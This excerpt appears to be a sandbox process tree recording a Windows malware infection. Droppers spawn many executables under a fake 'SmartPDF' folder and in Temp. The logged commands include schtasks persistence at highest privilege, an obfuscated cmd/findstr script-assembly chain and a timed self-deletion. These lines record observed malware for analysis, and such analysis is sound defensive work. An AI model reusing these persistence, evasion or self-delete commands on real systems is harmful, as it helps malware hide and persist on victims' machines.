C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:9748
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:9348
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:10532
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:9952
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11140
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5148
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:4932
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5616
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:10904
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11440
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:12276
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11600
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11280
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:12880
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7480
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:12320
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:13908
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:14184
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:14196
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7980
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:13376
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:14880
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3736
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11064
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3412
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:6960
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:16260
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:15884
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:13188
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵
- Executes dropped EXE
PID:5672
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:5892
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:7792
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:18000
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:19280
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:18740
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:20408
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:20348
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:3844
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:11940
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:14276
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:17868
-
-
C:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exeC:\Users\Admin\Documents\2c0ByuzAkkVZnWPcI8oS_ye1.exe3⤵PID:18612
-
-
-
C:\Users\Admin\Documents\1UJcitGiqu3wM24cY9eJAvu7.exe"C:\Users\Admin\Documents\1UJcitGiqu3wM24cY9eJAvu7.exe"2⤵
- Executes dropped EXE
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\is-2VE86.tmp\1UJcitGiqu3wM24cY9eJAvu7.tmp"C:\Users\Admin\AppData\Local\Temp\is-2VE86.tmp\1UJcitGiqu3wM24cY9eJAvu7.tmp" /SL5="$4016A,138429,56832,C:\Users\Admin\Documents\1UJcitGiqu3wM24cY9eJAvu7.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4852 -
C:\Users\Admin\AppData\Local\Temp\is-K5G52.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-K5G52.tmp\Setup.exe" /Verysilent4⤵PID:5528
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"5⤵PID:1588
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5408
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7100
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6992
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7152
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3540
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6356
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7356
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1304
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5260
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:7992
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:9008
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6596
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2808
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8864
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2272
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5148
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:4052
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8872
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1636
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5364
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:3020
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10140
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10088
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10668
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2948
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:2340
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:11288
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5108
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6932
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:11488
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10300
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12080
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12600
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12512
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13444
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13564
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:13516
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:14012
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:14984
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:14980
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:14528
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:14300
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:16064
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:1064
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:10060
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:5892
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:16088
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6352
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:11800
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:12412
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:17200
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:17356
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:6300
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:17760
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:16452
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:18036
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:8520
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"6⤵PID:17924
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵PID:904
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵PID:2560
-
C:\Users\Admin\AppData\Roaming\2368414.exe"C:\Users\Admin\AppData\Roaming\2368414.exe"6⤵PID:5536
-
-
C:\Users\Admin\AppData\Roaming\8607694.exe"C:\Users\Admin\AppData\Roaming\8607694.exe"6⤵PID:5812
-
-
C:\Users\Admin\AppData\Roaming\6958016.exe"C:\Users\Admin\AppData\Roaming\6958016.exe"6⤵PID:3132
-
-
C:\Users\Admin\AppData\Roaming\4682059.exe"C:\Users\Admin\AppData\Roaming\4682059.exe"6⤵PID:7436
-
-
C:\Users\Admin\AppData\Roaming\3751501.exe"C:\Users\Admin\AppData\Roaming\3751501.exe"6⤵PID:7916
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵PID:5920
-
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵PID:6600
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"5⤵PID:6008
-
C:\Users\Admin\AppData\Local\Temp\tmpC593_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpC593_tmp.exe"6⤵PID:7560
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:7240
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Pei.xll7⤵PID:4028
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:8664
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll9⤵PID:2800
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comTra.exe.com o9⤵PID:7836
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o10⤵PID:8216
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o11⤵PID:8412
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:8632
-
-
-
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"5⤵PID:1292
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵PID:2012
-
C:\Users\Admin\AppData\Local\Temp\is-2TA7J.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-2TA7J.tmp\stats.tmp" /SL5="$50220,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵PID:3044
-
C:\Users\Admin\AppData\Local\Temp\is-065F8.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-065F8.tmp\Setup.exe" /Verysilent7⤵PID:7948
-
C:\Users\Admin\Documents\zlh836H7OFkWDiAwlyrRQ1rO.exe"C:\Users\Admin\Documents\zlh836H7OFkWDiAwlyrRQ1rO.exe"8⤵PID:7968
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:9440
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST9⤵
- Creates scheduled task(s)
PID:9708
-
-
-
C:\Users\Admin\Documents\_wr_rcChbaPdniVYFYgPobtC.exe"C:\Users\Admin\Documents\_wr_rcChbaPdniVYFYgPobtC.exe"8⤵PID:4020
-
C:\Users\Admin\AppData\Local\Temp\is-KQJ8J.tmp\_wr_rcChbaPdniVYFYgPobtC.tmp"C:\Users\Admin\AppData\Local\Temp\is-KQJ8J.tmp\_wr_rcChbaPdniVYFYgPobtC.tmp" /SL5="$802D8,138429,56832,C:\Users\Admin\Documents\_wr_rcChbaPdniVYFYgPobtC.exe"9⤵PID:7672
-
C:\Users\Admin\AppData\Local\Temp\is-UATBQ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-UATBQ.tmp\Setup.exe" /Verysilent10⤵PID:12308
-
-
-
-
C:\Users\Admin\Documents\XLFUQJypkNGfVVSN_Homv8x8.exe"C:\Users\Admin\Documents\XLFUQJypkNGfVVSN_Homv8x8.exe"8⤵PID:7228
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7228 -s 2449⤵
- Program crash
PID:9356
-
-
-
C:\Users\Admin\Documents\6sjdMoRYTqijw4PqW1cEM2my.exe"C:\Users\Admin\Documents\6sjdMoRYTqijw4PqW1cEM2my.exe"8⤵PID:8852
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8852 -s 2729⤵
- Program crash
PID:7424
-
-
-
C:\Users\Admin\Documents\f3JyaNKOTk77jVuQPFSZMvDb.exe"C:\Users\Admin\Documents\f3JyaNKOTk77jVuQPFSZMvDb.exe"8⤵PID:8840
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\f3JyaNKOTk77jVuQPFSZMvDb.exe"9⤵PID:13952
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK10⤵
- Delays execution with timeout.exe
PID:14492
-
-
-
-
C:\Users\Admin\Documents\1x71t4beu7VLrd4uDxSFSBlW.exe"C:\Users\Admin\Documents\1x71t4beu7VLrd4uDxSFSBlW.exe"8⤵PID:8592
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\KBAvfsr.exe"9⤵PID:1980
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 28410⤵
- Program crash
PID:11580
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 28410⤵
- Program crash
PID:1412
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\FkDS8ej.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\FkDS8ej.exe"9⤵PID:1468
-
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe"C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe"8⤵PID:8564
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:2912
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:3760
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:6300
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:9716
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:8964
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:9644
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10684
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:11252
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10428
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:7468
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10124
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:9604
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:12172
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:7740
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:3044
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:11972
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:12476
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:12928
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10480
-
-
